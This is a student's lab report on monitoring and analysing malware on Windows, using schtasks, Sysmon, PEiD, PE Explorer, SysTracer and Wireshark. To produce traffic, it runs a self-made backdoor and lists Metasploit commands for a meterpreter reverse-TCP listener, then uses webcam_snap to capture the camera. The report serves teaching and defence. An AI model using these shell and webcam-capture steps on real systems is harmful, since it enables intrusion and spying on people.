20181334张怡杰《网络对抗技术》Exp4 恶意代码分析
1. 实践内容
1.1 系统运行监控
1.1.1 Windows计划任务schtasks
step1:输入以下命令,每分钟记录下有哪些程序在连接网络,并把结果记录在netstatlog.txt文档里。
schtasks /create /TN 20181334netstat /sc MINUTE /MO 1 /TR "cmd /c netstat -bn > c:\netstatlog.txt"
参数含义如下:
- TN:Task Name,任务名
- SC: SChedule type,分钟
- MO: MOdifier
- TR: Task Run,要运行的指令是 netstat -bn,b表示显示可执行文件名,n表示以数字来显示IP和端口
step2:在C盘创建netstat1334.bat,内容如下:
date /t >> c:\netstat1334.txt time /t >> c:\netstat1334.txt netstat -bn >> c:\netstat1334.txt
- 打开任务计划程序,找到刚刚的任务
20181334netstat
- 选中任务,找到操作,点击所有项里的属性选项
- 找到操作选项卡,双击详细信息,把框中原本的
cmd
改成c:\netstatlog.bat
- 打开
c:\netstat1334.txt
文件,可以看到了日期与时间,这样看起来更方便。
- 一段时间后可以获得充足的数据,可以停止该任务,将
netstat1334.txt
中数据复制粘贴到Excel中进行分析。统计项目如下:
打开Excel表格,选择数据
-获取外部数据
-自文本
,在数据类型
中选择分隔符号,
下一步
,标记所有分隔符号
,点击完成
然后选择我们要分析的那一列,再选择插入
-数据透视图
,并默认位置新表格
,点击确定
在行标签字段中去除不需要的字段(注意去掉TCP)
将该字段拖动到下方的轴
和值
两个区域中
- 在分析中生成统计图,就可以清晰的看到联网信息的统计图了
可以看到chrome.exe是最多的,是谷歌浏览器,然后就是excel,都是正常的,没有异常。
1.1.2 sysmon工具
step1:下载老师提供的sysinternal,解压该文件后将sysmon.exe
拷贝到文件夹
-
在这篇文章中详细列举了
sysmon
过滤器事件及其选项,选取了NetworkConnect
中的Image、SourcePort、SourceIP、DestinationPort
,CreateRemoteThread
中的TargetImage、SourceImage
step2:创建配置文件
sysmon.xml
,放在和exe文件同一个文件夹下,文件内容如下:
<Sysmon schemaversion="3.10"> <!-- Capture all hashes --> <HashAlgorithms>*</HashAlgorithms> <EventFiltering> <!-- Log all drivers except if the signature 驱动加载有以下签名的都过滤 --> <!-- contains Microsoft or Windows --> <DriverLoad onmatch="exclude"> <Signature condition="contains">microsoft</Signature> <Signature condition="contains">windows</Signature> </DriverLoad> <!-- 网络连接过滤以下 --> <NetworkConnect onmatch="exclude"> <!-- 可执行程序以下列结尾的 --> <Image condition="end with">chrome.exe</Image> <Image condition="end with">iexplorer.exe</Image> <!-- 源端口和IP包含下列的 --> <SourcePort condition="is">137</SourcePort> <SourceIp condition="is">127.0.0.1</SourceIp> </NetworkConnect> <NetworkConnect onmatch="include"> <!-- 目的端口和IP包含下列的 --> <DestinationPort condition="is">80</DestinationPort> <DestinationPort condition="is">443</DestinationPort> </NetworkConnect> <!-- 创建线程记录以下 --> <CreateRemoteThread onmatch="include"> <!-- 目标可执行文件以下列结尾的 --> <TargetImage condition="end with">explorer.exe</TargetImage> <TargetImage condition="end with">svchost.exe</TargetImage> <TargetImage condition="end with">winlogon.exe</TargetImage> <!-- 源可执行文件以下列结尾的 --> <SourceImage condition="end with">powershell.exe</SourceImage> </CreateRemoteThread> </EventFiltering> </Sysmon>
step3:以管理员身份打开cmd,使用指令Sysmon.exe -i sysmon.xml
安装sysmon。输入命令之后会弹出下面这个框,点击Agree
进行安装。安装成功截图如下,我安装的版本是3.10
step4:使用sysmon
①在开始菜单搜索框中输入event
,打开事件查看器。
②在应用程序和服务日志
下,查看Microsoft->Windows->Sysmon->Operational
。
③运行实验二生成的后门文件,在kali虚拟机中打开msfconsle,获取Windows的命令行。
- use exploit/multi/handler //使用监听模块,设置payload - set payload windows/meterpreter/reverse_tcp //使用与生成后门程序时相同的payload - set LHOST <Linux的IP> - set LPORT <之前输入的端口号> - exploit //设置完成,开始监听
④此时就可以查看到后门文件的日志了。
- LINUX获得权限后运行shell,再刷新,可以看到日志
可以看到cmd.exe
- 再输入
webcam_snap
获取摄像头,发现了Svchost.exe
这个进程。
1.2 恶意软件分析
静态分析
- 文件扫描(VirusTotal、VirusScan工具等)
- 文件格式识别(peid、file、FileAnalyzer工具等)
- 字符串提取(Strings工具等)
- 反汇编(GDB、IDAPro、VC工具等)
- 反编译(REC、DCC、JAD工具等)
- 逻辑结构分析(Ollydbg、IDAPro工具等)
- 加壳脱壳(UPX、VMUnPacker工具等)
动态分析
- 快照比对(SysTracer、Filesnap、Regsnap工具等)
- 抓包分析(WireShark工具等)
- 行为监控(Filemon、Regmon、ProcessExplorer工具等)
- 沙盒(NormanSandbox、CWSandbox工具等)
- 动态跟踪调试(Ollydbg、IDAPro工具等)
1.2.1 静态分析
1.恶意代码扫描(VirusTotal网站)
- VirusTotal在实验三中我们使用过,将后门程序上传到VirusTotal,可以从中获取详细信息,包括大小、 MD5、SHA-1、SHA-256数值以及加密壳类型等:
- 这里使用实验二的zyj20181334_backdoor.exe,在VirusTotal进行扫描,结果如下:
可以看出它的SHA-1、MD5摘要值、文件类型、文件大小,以及TRiD文件类型识别结果
2.文件格式识别(PEiD工具)
PEiD(PE Identifier)是一款著名的查壳工具,其功能强大,几乎可以侦测出所有的壳,其数量已超过470种PE文档的加壳类型和签名。
- 下载安装(没找到官方安装,其他网站下载注意不要误点捆绑软件)
- 将实验二生成的普通后门文件拖进去检测,可以看到没有加壳
- 将实验三生成的加壳后门文件拖进去检测,可以看到详细的加壳信息
3.反编译、反汇编(PE Explorer工具)
PE Explorer是功能超强的可视化Delphi、C++、VB程序解析器,能快速对32位可执行程序进行反编译,并修改其中资源。
可以看到文件头信息
还能看到版本信息,有一些信息跟在VirusTotal看到的差不多
这款软件的主要功能是实现反汇编,可以在菜单栏工具
->反汇编器
,可以看到将该文件反汇编的结果:
还能看到数据目录、节头、调试信息等。
1.2.2 动态分析
1.快照比对(SysTracer工具)
SysTracer是一款集成HIPS以及进程行为跟踪功能的安全辅助工具,它可以跟踪并监视进程对整个系统的修改行为,包括文件操作,注册表操作,内存操作和危险行为。SysTracer可以监视全部进程,或者用户指定的某一个进程及其子进程,并提供监视日志以帮助用户对特定进程的行为进行分析。
- 下载SysTracer,安装时选择第二个,设置端口改成1334
- 点击创建快照,创建四个快照进行比对,分别是:
- Snapshot #1:不进行任何操作;
- Snapshot #2:运行后门程序并成功反弹连接;
- Snapshot #3:获取shell并获取被攻击机文件详情;
- Snapshot #4:退出shell。
- 比对Snapshot #1和Snapshot #2
首先可以看到注册表进行了修改,删除修改新增了VistualDesktop的注册表项。
对文件进行比对,看起来应该还是注册表文件
对应用程序进行比对,还能看到刚刚运行的后门程序
- 比对Snapshot #2和Snapshot #3
首先也是注册表的差异,有一堆乱码,不知道是什么。
应用程序的比对中可以看到cmd.exe,且新增了很多dll文件,推测这些dll文件与cmd有关
- 比对Snapshot #3和Snapshot #4
退出shell,可以看到刚刚的dll文件都删除了,所以这些dll文件和shell有关的可能性非常大。
2.网络监控(Wireshark工具)
- 开始抓包,Kali中启动监听,然后Windows回连
- 使用IP地址过滤来查看Kali和主机的连接,还可以看到目的和源IP地址还有目的端口和包
SYN表示建立连接,
FIN表示关闭连接,
ACK表示响应,
PSH表示有 DATA数据传输,
RST表示连接重置。
回弹成功后在Kali输入shell,新增了很多TCP连接
发送了很多TCP包,有ACK、PSH,说明有数据传输。
2.回答问题
2.1 如果在工作中怀疑一台主机上有恶意代码,但只是猜想,所有想监控下系统一天天的到底在干些什么。请设计下你想监控的操作有哪些,用什么方法来监控。
①使用Windows计划任务schtasks,每分钟或者每小时定期记录,导入excel分析,查看端口连接、网络连接等等有无异常的情况
②使用sysmon工具,对网络连接、注册表信息等进行查看分析。
③使用sysTracer工具,截取快照并进行对比,对比恶意代码对注册表、exe可执行文件等等信息。
2.2 如果已经确定是某个程序或进程有问题,你有什么工具可以进一步得到它的哪些信息。
①使用PEiD、PE Exploer工具,查看它的具体信息,是否加壳,分析是否有违规操作。
②使用Wireshark进行抓包,看看该进程传输了什么。
3.实验体会与总结
本次实验操作性很强,安装了很多实验的软件,遇到的困难不多,有些小问题主要是SysTracer和wireshark等等软件操作的问题,但是借助于这些软件,能够比对分析恶意代码,用的恶意代码还是之前实验自己做出来的,成就感有有有,动态分析会比静态分析更为厉害一些,毕竟静态分析是既往的经验,而动态分析是在运行过程中对它的分析。